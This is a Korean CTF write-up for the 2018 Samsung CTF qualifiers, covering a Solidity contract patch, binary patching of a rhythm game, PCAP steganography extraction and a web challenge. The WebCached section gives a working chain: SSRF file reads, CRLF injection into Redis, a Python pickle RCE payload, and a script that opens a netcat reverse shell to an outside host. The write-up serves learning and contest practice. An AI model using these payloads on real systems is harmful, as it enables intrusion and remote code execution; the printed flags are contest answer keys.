Uiseong Park zairo

Write-up

2018 Samsung CTF Quals

2018 Samsung CTF 예선 Write-up

None - Mic Check (100 pts.)

Overview

Analysis

문제 내용에 flag가 포함되어 있고 이를 form에 입력한 후 SUBMIT 버튼을 누르면 문제가 해결된다.

Flag: SCTF{you_need_to_include_SCTF{}_too}


Defense - BankRobber (103 pts.)

Overview

Analysis

해당 문제에서 주어진 파일을 다운로드 받아 살펴보면 상단에 pragma solidity ^0.4.18; 라고 적혀있는 것을 보아 해당 언어가 solidity임을 알 수 있다. 해당 소스코드에 취약점이 존재하고 이를 패치하여 전송하면 해결되는 문제이다.

  1. https://ethereumdev.io/safemath-protect-overflows/
  2. https://github.com/ConsenSys/smart-contract-best-practices/blob/master/docs/known_attacks.md
  3. https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514

위의 3가지 링크를 참조하여 overflow, underflow 방지를 위한 SafeMath 라이브러리 적용, race condition을 막기 위해 함수 별로 lock적용, tx.originmsg.sender로 변경하여 스크립트를 전송하였다. 아래는 패치한 소스코드 이다.

pragma solidity ^0.4.18;

library SafeMath {
    function mul(uint256 a, uint256 b) internal constant returns (uint256) {
        uint256 c = a * b;
        assert(a == 0 || c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal constant returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal constant returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal constant returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract SCTFBank{
    using SafeMath for uint256;
    event LogBalance(address addr, uint256 value);
    mapping (address => uint256) private balance;
    uint256 private donation_deposit;
    bool private lockBalances;
    address private owner;

    //constructor
    constructor() public{
        owner = msg.sender;
        lockBalances = false;
    }

    //logging balance of requested address
    function showBalance(address addr) public {
        emit LogBalance(addr, balance[addr]);
    }

    //withdraw my balance
    function withdraw(uint256 value) public{
        require(!lockBalances);
        require(balance[msg.sender] >= value);
        lockBalances = true;
        balance[msg.sender] = balance[msg.sender].sub(value);
        if(!msg.sender.send(value)) throw;
        lockBalances = false;
    }

    //transfer my balance to other
    function transfer(address to, uint256 value) public {
        require(!lockBalances);
        require((balance[msg.sender] >= value) && ((balance[to].add(value)) >=
        value));
        lockBalances = true;
        balance[msg.sender] = balance[msg.sender].sub(value);
        balance[to] = balance[to].add(value);
        lockBalances = false;
    }
    //transfer my balance to others
    function multiTransfer(address[] to_list, uint256 value) public {
        require(!lockBalances);
        lockBalances = true;
        require(balance[msg.sender] >= value.mul(to_list.length));
        require(balance[msg.sender]+(value.mul(to_list.length)) > 0);
        for(uint i=0; i < to_list.length; i++){
            if((balance[to_list[i]].add(value)) >= value){
                balance[msg.sender] = balance[msg.sender].sub(value);
                balance[to_list[i]] = balance[to_list[i]].add(value);
            }
        }
        lockBalances = false;
    }

    //donate my balance
    function donate(uint256 value) public {
        require(!lockBalances);
        require((balance[msg.sender] >= value) && donation_deposit.add(value) >=
        value);
        lockBalances = true;
        balance[msg.sender] = balance[msg.sender].sub(value);
        donation_deposit = donation_deposit.add(value);
        lockBalances = false;
    }

    //Only bank owner can deliver donations to anywhere he want.
    function deliver(address to) public {
        require(!lockBalances);
        require(msg.sender == owner);
        require((balance[to].add(donation_deposit) >= donation_deposit) &&
        donation_deposit > 0);
        lockBalances = true;
        to.transfer(donation_deposit);
        donation_deposit = 0;
        lockBalances = false;
    }

    //balance deposit, simple fallback function
    function () payable public {
        require(!lockBalances);
        require((balance[msg.sender].add(msg.value) >= msg.value));
        lockBalances = true;
        balance[msg.sender] = balance[msg.sender].add(msg.value);
        lockBalances = false;
    }
}
//END

패치한 소스코드를 서버로 전송하면 서버에서 flag를 전송하여 준다.

Flag: SCTF{sorry_this_transaction_was_sent_by_my_cat}


Reversing – dingJMax (106 pts.)

Overview

Analysis

먼저, IDA를 이용하여 v8, v9, v10, v11을 모두 1의 값으로 변경하여 if문을 무력화 시킨다.

d 문자를 입력하였을 때 PERPECT! 부분이 끝나고 jmp loc_401A80 명령을 call sub_40143D 명령을 실행하도록 변경하고 해당 sub_401C9A, sub_400C5E 함수가 끝나면 ret 명령을 수행하도록 바이너리를 패치하였다. 따라서 PERPECT 부분이 실행되면 자동으로 key를 입력한 것과 동일한 연산을 수행한다. 그리고 PERFECT 아래 부분의 greatmiss 부분은 전부 nop으로 치환하여 모든 PERFECT 부분을 일괄적으로 실행할 수 있도록 변경한다.

나머지 문자도 동일한 방법으로 모두 패치 한 후 바이너리를 실행하면 flag를 획득할 수 있다. 아래는 패치한 바이너리를 IDA Hex-Rays를 이용하여 pseudo code로 변경한 소스코드이다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    size_t v3; // rax
    WINDOW *v4; // rdi
    WINDOW *v5; // ST60_8
    int v6; // eax
    int i; // [rsp+8h] [rbp-48h]
    int k; // [rsp+8h] [rbp-48h]
    signed int l; // [rsp+8h] [rbp-48h]
    signed int j; // [rsp+Ch] [rbp-44h]
    unsigned __int64 v12; // [rsp+10h] [rbp-40h]
    char *dest; // [rsp+18h] [rbp-38h]
    WINDOW *v14; // [rsp+28h] [rbp-28h]
    WINDOW *v15; // [rsp+30h] [rbp-20h]
    WINDOW *v16; // [rsp+38h] [rbp-18h]
    WINDOW *v17; // [rsp+48h] [rbp-8h]
    v12 = 0LL;
    v3 = strlen(src);
    dest = (char *)malloc(v3 + 1);
    strcpy(dest, src);
    sub_401BEF(dest, src);
    setlocale(6, &locale);
    initscr();
    keypad(stdscr, 1u);
    noecho();
    curs_set(0);
    sub_400FE9(0LL, 1LL);
    wgetch(stdscr);
    v4 = stdscr;
    werase(stdscr);
    sub_400F89(v4);
    wgetch(stdscr);
    werase(stdscr);
    wrefresh(stdscr);
    v14 = newwin(30, 29, 0, 0);
    v15 = newwin(5, 25, 0, 35);
    v16 = newwin(5, 60, 7, 35);
    v5 = newwin(5, 40, 10, 10);
    v17 = newwin(5, 20, 15, 35);
    wborder(v14, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
    wborder(v15, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
    wborder(v16, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
    wborder(v5, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
    wborder(v17, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
    sub_400F39(v14, 0LL);
    sub_400F04(v14, " dingJMax ");
    sub_400F04(v15, " SCORE (max 1000000) ");
    sub_400F04(v16, " here is your FLAG (Did you get perfect score?) ");
    sub_400F04(v17, " Log ");
    sub_400BC6(v5, "stage start");
    wrefresh(v14);
    wrefresh(v15);
    wrefresh(v16);
    wrefresh(v5);
    wgetch(stdscr);
    werase(stdscr);
    sub_400E8A(off_603280);
    dword_6075E0 = 0;
    dword_607650 = 0;
    dword_607578 = 0;
    nodelay(stdscr, 1u);
    sub_400DEB(v17, "start", 500LL);
    for ( i = 0; i <= 19; ++i )
    {
        for ( j = 0; j <= 3; ++j )
            *((_BYTE *)&dword_607600[i] + j) = 32;
    }
    while ( v12 <= 0xA513 )
    {
        v6 = wgetch(stdscr);
        JUMPOUT(v6, 102, sub_40145D);
        if ( v6 > 102 )
        {
            JUMPOUT(v6, 106, sub_40147D);
            JUMPOUT(v6, 107, sub_40149D);
        }
        else
        {
            JUMPOUT(v6, 100, sub_40143D);
        }
        wborder(v14, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
        wborder(v15, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
        wborder(v16, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
        wborder(v17, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
        sub_400F39(v14, 0LL);
        sub_400F04(v14, " dingJMax ");
        sub_400F04(v15, " SCORE (max 1000000) ");
        sub_400F04(v16, " Here is your FLAG (Did you get perfect score?) ");
        sub_400F04(v17, " Log ");
        if ( v12 == 20 * ((unsigned __int64)(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128)v12 >> 64) >> 4) )
        {
            for ( k = 19; k > 0; --k )
                dword_607600[k] = dword_607600[k - 1];
            dword_607600[0] = *(_DWORD *)off_603280[(unsigned __int64)(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128)v12 >> 64) >> 4];
        }
        for ( l = 2; l <= 21; ++l )
        {
            mvwprintw(v14, l, 5, "%c", (unsigned int)SLOBYTE(dword_607600[l - 2]));
            mvwprintw(v14, l, 11, "%c", (unsigned int)SBYTE1(dword_607600[l - 2]));
            mvwprintw(v14, l, 17, "%c", (unsigned int)SBYTE2(dword_607600[l - 2]));
            mvwprintw(v14, l, 23, "%c", (unsigned int)SHIBYTE(dword_607600[l - 2]));
        }
        if ( byte_60764C == 111 && v12 == 20 * ((unsigned __int64)(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128)v12 >> 64) >> 4) )
        {
            sub_400DEB(v17, "PERFECT!", 200LL);
            ++dword_6075E0;
            sub_40143D();
        }
        if ( byte_60764D == 111 && v12 == 20 * ((unsigned __int64)(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128)v12 >> 64) >> 4) )
        {
            sub_400DEB(v17, "PERFECT!", 200LL);
            ++dword_6075E0;
            sub_40145D();
        }
        if ( byte_60764E == 111 && v12 == 20 * ((unsigned __int64)(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128)v12 >> 64) >> 4) )
        {
            sub_400DEB(v17, "PERFECT!", 200LL);
            ++dword_6075E0;
            sub_40147D();
        }
        if ( byte_60764F == 111 )
        {
            if ( v12 == 20 * ((unsigned __int64)(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128)v12 >> 64) >> 4) )
            {
                sub_400DEB(v17, "PERFECT!", 200LL);
                ++dword_6075E0;
                sub_40149D();
            }
        }
        else
        {
            sub_400DEB(v17, "MISS!", 200LL);
            ++dword_607578;
        }
        mvprintw(30, 33, "PERFECT : %d", (unsigned int)dword_6075E0);
        mvprintw(31, 33, "GREAT : %d", (unsigned int)dword_607650);
        mvprintw(32, 33, "MISS : %d", (unsigned int)dword_607578);
        mvprintw(33, 33, "TOTAL NOTES: %d", (unsigned int)dword_607574);
        sub_400E21(v17);
        sub_400D70(v15, (unsigned int)((1000000 * dword_6075E0 + 1000000 *
        dword_607650 / 2) / dword_607574));
        sub_400CD0(v16, dest);
        wrefresh(v14);
        wrefresh(v15);
        wrefresh(v16);
        wrefresh(v17);
        usleep(0x3E8u);
        ++v12;
    }
    nodelay(stdscr, 0);
    usleep(0x7D0u);
    wgetch(stdscr);
    curs_set(1);
    endwin();
    return 0LL;
}

Flag: SCTF{I_w0u1d_l1k3_70_d3v3l0p_GUI_v3rs10n_n3x7_t1m3}


Coding – HideInSSL (121 pts.)

Overview

Analysis

PCAPClient Hello SSL Random Bytes 부분을 살펴보면 FF D8 FF E0을 확인할 수 있다. 해당 바이트는 jpeg의 시그니처로 해당 부분에 이미지가 숨겨져 있음을 알 수 있다. 또한 ACK에서 TCP Payload 부분을 보면 1 또는 0이 포함되어 있는데 1인 것만 모아 추출하면 이미지가 나온다. 총 22개의 문자가 숨겨져 있으며 해당 이미지를 다 추출하면 flag를 획득할 수 있다.
아래는 SSL 세션 별로 TCP steam raw로 저장 후 해당 패킷에서 이미지를 추출해내는 스크립트이다.

import os
directory = './ssldata'
for filename in os.listdir('./ssldata'):
    f = open(os.path.join(directory, filename),'rb')
    data = f.read()
    f.close()

    out = open(filename+".jpg", 'wb')
    while True:
        try:
            cut = data.find('ff01000100'.decode('hex'))+5
            print cut
            if cut < 0:
                break
            elif data[cut] == '1':
                out.write(data[cut-161:cut-161+(4*6)])
                data = data[cut:]
            else:
                data = data[cut:]
                pass
        except:
            break;
    out.close()

Flag: SCTF{H3llo_Cov3rt_S5L}


Attack - WebCached (174 pts.)

Overview

Analysis

예선때 풀려고 그렇게 삽질을 했지만, 결국 예선이 끝나고 WebCached 문제를 풀게 되었다.

일단 본론부터 적자면 SSRF(Server Side Request Forgery) 문제다. SSRF 인 것을 확인하고 https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf의 SSRF 쿼리를 날려보다가 잘 안되서 예선 때 풀지 못하였지만, 예선이 끝나고 푼 후 해당 문제의 풀이 과정을 작성한다.

먼저 페이지에 접속하면 위와 같이 url을 입력하는 입력 창이 나온다. 입력 창에 url을 입력하면 서버에서 해당 url에 요청을 하여 나온 값을 전달해 줄 것이다.

위와 같이 file:///etc/passwd를 입력하자 시스템 로컬에 존재하는 /etc/passwd의 내용을 반환하여 준다. 이를 이용하여 시스템 내부에 존재하는 파일을 가져올 수 있다.

보통 이런 시스템 내부에 존재하는 파일을 가져올 수 있는 파일 다운로드 취약점이 발견될 경우, 해당 어플리케이션의 실행 정보를 살펴보기 위해 /proc/self/ 하위에 존재하는 environ, cmdline을 요청한다. /proc/self/environ 파일은 권한 문제로 인해 다운로드가 불가능 하였고, /proc/self/cmdline 파일을 통해 현재 실행되고 있는 어플리케이션의 실행 명령문을 알 수 있었다. uwsgi 명령에 /tmp/uwsgi.ini 설정파일을 옵션으로 주고 실행하였으므로 해당 설정파일을 요청하여 설정 값을 알 수 있다.

/tmp/uwsgi.ini 파일을 살펴보면, chdir 옵션과 module 옵션이 설정되어 있다. chdir은 경로를 나타내는 것이고 module은 실행 파일명을 나타내는 것으로 결국 /app/run.py가 현재 실행되고 있는 웹 어플리케이션 소스코드 임을 알 수 있다.

/app/run.py를 다운로드 하여 현재 실행되고 있는 웹 어플리케이션에 대한 보다 세부적인 내용을 분석할 수 있게 되었다. 소스코드 상단에 from session_interface import RedisSessionInterface가 있는데 session_interface.py 또한 해당 경로에 존재하는 듯 하다. /app/session_interface.py 도 요청하여 다운로드 한다.

아래는 위의 공격을 통해 추출한 웹 어플리케이션의 소스코드 이다.

#!/usr/bin/env python2
from redis import Redis
from flask import Flask, request, render_template
from flask import session, redirect, url_for, abort
from session_interface import RedisSessionInterface
import socket
import urllib

r = Redis()
app = Flask(__name__)
app.session_interface = RedisSessionInterface()
timeout = socket.getdefaulttimeout()

def cached(url):
    key = '{}:{}'.format(request.remote_addr, url)
    resp = r.get(key)
    if resp is None:
        resp = load_cache(url)
        r.setex(key, resp, 3)
    return resp

def load_cache(url):
    def get(url):
        return urllib.urlopen(url).read()
    socket.setdefaulttimeout(0.5)
    try:
        resp = get(url)
    except socket.timeout:
        resp = '{} may be dead...'.format(url)
    except Exception as e:
        resp = str(e)
    socket.setdefaulttimeout(timeout)
    return resp

@app.route('/view')
def view():
    url = session.get('url', None)
    if url is not None:
        session.pop('url')
        return cached(url)
    else:
        return redirect(url_for('main'))

@app.route('/', methods=['GET', 'POST'])
def main():
    if request.method == 'GET':
        return render_template('main.html')
    else:
        url = request.form.get('url', None) or abort(404)
        session['url'] = url
        return redirect(url_for('view'))

if __name__ == '__main__':
    app.run(port=12000, host='0.0.0.0', debug=True)
# Server-side Sessions with Redis
# http://flask.pocoo.org/snippets/75/
import base64
import pickle
from datetime import timedelta
from uuid import uuid4
from redis import Redis
from werkzeug.datastructures import CallbackDict
from flask.sessions import SessionInterface, SessionMixin

class RedisSession(CallbackDict, SessionMixin):
    def __init__(self, initial=None, sid=None, new=False):
        def on_update(self):
            self.modified = True
        CallbackDict.__init__(self, initial, on_update)
        self.sid = sid
        self.new = new
        self.modified = False

class RedisSessionInterface(SessionInterface):
    serializer = pickle
    session_class = RedisSession

    def __init__(self, redis=None, prefix='session:'):
        if redis is None:
            redis = Redis()
        self.redis = redis
        self.prefix = prefix

    def generate_sid(self):
        return str(uuid4())

    def get_redis_expiration_time(self, app, session):
        if session.permanent:
            return app.permanent_session_lifetime
        return timedelta(days=1)

    def open_session(self, app, request):
        sid = request.cookies.get(app.session_cookie_name)
        if not sid:
            sid = self.generate_sid()
            return self.session_class(sid=sid, new=True)
        val = self.redis.get(self.prefix + sid)
        if val is not None:
            val = base64.b64decode(val)
            data = self.serializer.loads(val)
            return self.session_class(data, sid=sid)
        return self.session_class(sid=sid, new=True)

    def save_session(self, app, session, response):
        domain = self.get_cookie_domain(app)
        if not session:
            self.redis.delete(self.prefix + session.sid)
            if session.modified:
                response.delete_cookie(app.session_cookie_name,
                                        domain=domain)
            return
        redis_exp = self.get_redis_expiration_time(app, session)
        cookie_exp = self.get_expiration_time(app, session)
        val = base64.b64encode(self.serializer.dumps(dict(session)))
        self.redis.setex(self.prefix + session.sid, val,
                            int(redis_exp.total_seconds()))
        response.set_cookie(app.session_cookie_name, session.sid,
                            expires=cookie_exp, httponly=True,
                            domain=domain)

/app/run.py/app/session_interface.py 소스코드를 분석해보면, /app/session_interface.py48행에서 data = self.serializer.loads(val) 부분이 취약한 것을 알 수 있다. 해당 취약점은 pickle 모듈의 load_reduce 함수의 value = func(*args)에서 발생한다. 아래 소스코드와 같은 경우 python pickle 모듈에서 RCE를 할 수 있다.

import pickle
import os

class exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))

pd = pickle.dumps(exploit())
pickle.loads(pd)

위와 같이 pickle 모듈을 이용하여 임의의 명령을 실행할 수 있다. 하지만 소스코드 상의 기능만으로 /app/session_interface.py48행data = self.serializer.loads(val) 부분에서 취약점이 발생하도록 val 값을 설정해 줄 수는 없다. /app/run.py27행urllib.urlopen(url).read()에서 발생하는 SSRF 취약점을 이용하여 로컬에 존재하는 redis 서버로 query를 보내 val 값을 조작한 후 data = self.serializer.loads(val) 부분에서 pickle 취약점이 발생하도록 하여야 한다.

일반적으로 알려진 공격 방법대로 SSRF가 되지 않아 pythonurllibhttplib 라이브러리를 직접 분석해보았다. 서버에 존재하는 /usr/lib/python2.7/httplib.py 파일을 다운로드 하여 분석하였다. urllib.urlopen(url).read()을 실행할 때, \r\n을 입력하게 되면 ValueError: Invalid header value '127.0.0.1\r\n:6379' 와 같이 에러가 발생하는데, 이 부분은 /usr/lib/python2.7/httplib.py 파일 내부의 putheader 함수 내부에서 발생한다.

def putheader(self, header, *values):
    """Send a request header line to the server.

    For example: h.putheader('Accept', 'text/html')
    """
    if self.__state != _CS_REQ_STARTED:
        raise CannotSendHeader()

    header = '%s' % header
    if not _is_legal_header_name(header):
        raise ValueError('Invalid header name %r' % (header,))

    values = [str(v) for v in values]
    for one_value in values:
        if _is_illegal_header_value(one_value):
            raise ValueError('Invalid header value %r' % (one_value,))

    hdr = '%s: %s' % (header, '\r\n\t'.join(values))
    self._output(hdr)

putheader 함수의 15행에서 if문을 만족하여 발생하는 에러이다. 소스코드의 247~248행을 살펴보면 _is_illegal_header_value에 정규표현식이 존재한다.

_is_legal_header_name = re.compile(r'\A[^:\s][^:\r\n]*\Z').match
_is_illegal_header_value = re.compile(r'\n(?![ \t])|\r(?![ \t\n])').search

_is_illegal_header_value 정규표현식을 살펴보면 \r 다음에 \t\n이 아닌 경우에 true를 반환하고, \n 다음에 띄어쓰기나 \t가 아닌 경우에 true를 반환한다. 따라서 이 두 가지 조건에 모두 걸리지 않으려면 \r\n(공백)을 하게 되면 해당 정규표현식에 걸리지 않고 bypass 되는 것을 확인할 수 있다. 결론적으로 해당 정규표현식에 걸리지 않고 SSRF를 정상적으로 수행하려면 http://127.0.0.1\r\n HELLO\r\n :1234와 같이 \r\n 다음에 띄어쓰기를 포함하여 요청하여야 한다.

redis 서버의 포트가 6379이고, /app/session_interface.py45행에서 세션이 redissession:~라는 key로 저장되는 것을 확인할 수 있다. 따라서 redis 서버로 set session:zairo (pickle RCE base64) 형식의 쿼리를 전송하게 되면 session:zairo key(pickle RCE base64) 데이터가 저장될 것이다. 이어 session idzairo를 입력하고 /view 페이지를 요청하면 /app/run.py41행에서 session의 값을 참조하므로 /app/session_interface.pyopen_session 함수가 실행될 것이고, session:zairo key의 데이터를 불러와 48행data = self.serializer.loads(val)를 실행하게 되므로 해당 부분에서 RCE 취약점이 발생하게 된다. 따라서 이 모든 것을 종합한 URL은 http://0\r\n set "session:zairo" (pickle RCE base64)\r\n :6379/ 이다.

import requests
import base64
import pickle
import os

class pickle_rce(object):
    def __reduce__(self):
        return (os.system, ('rm /tmp/zairo;mkfifo /tmp/zairo;cat /tmp/zairo|/bin/sh -i 2>&1|nc zairo.kr 1234 >/tmp/zairo',))

def send_payload(r, payload):
    res = r.post('http://webcached.eatpwnnosleep.com/',data={'url': payload,'action' : ''})
    #print res.text

def exploit(r):
    res = r.get('http://webcached.eatpwnnosleep.com/view', headers={'Cookie': 'session=zairo;'})
    #print res.text

r = requests.Session()
pd = pickle.dumps(pickle_rce())
send_payload(r, "http://0\r\n set \"session:zairo\" "+base64.b64encode(pd)+"\r\n :6379/")
exploit(r)

지금까지 풀었던 pickle을 이용한 문제는 의도적으로 취약점을 만들어 낸 느낌이었다면, 이번 문제는 http://flask.pocoo.org/snippets/75//app/session_interface.py와 거의 유사한 소스코드가 존재하고 실제 사이트에서도 발생 가능한 취약점이라 재미있고 유익한 문제였던 것 같다.

Reference

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf 59~60 페이지

Flag: SCTF{c652f8004846fe0e3bf9571be26afbf1}

Written by Uiseong Park (zairo)

이 블로그의 글은 개인적인 학습을 목적으로 작성된 내용이므로 사실과 다르거나 잘못 기재된 내용이 있을 수 있습니다. 올바르지 않은 내용이나 수정해야 할 사항이 있다면 park.uiseong@gmail.com으로 연락주시면 감사하겠습니다.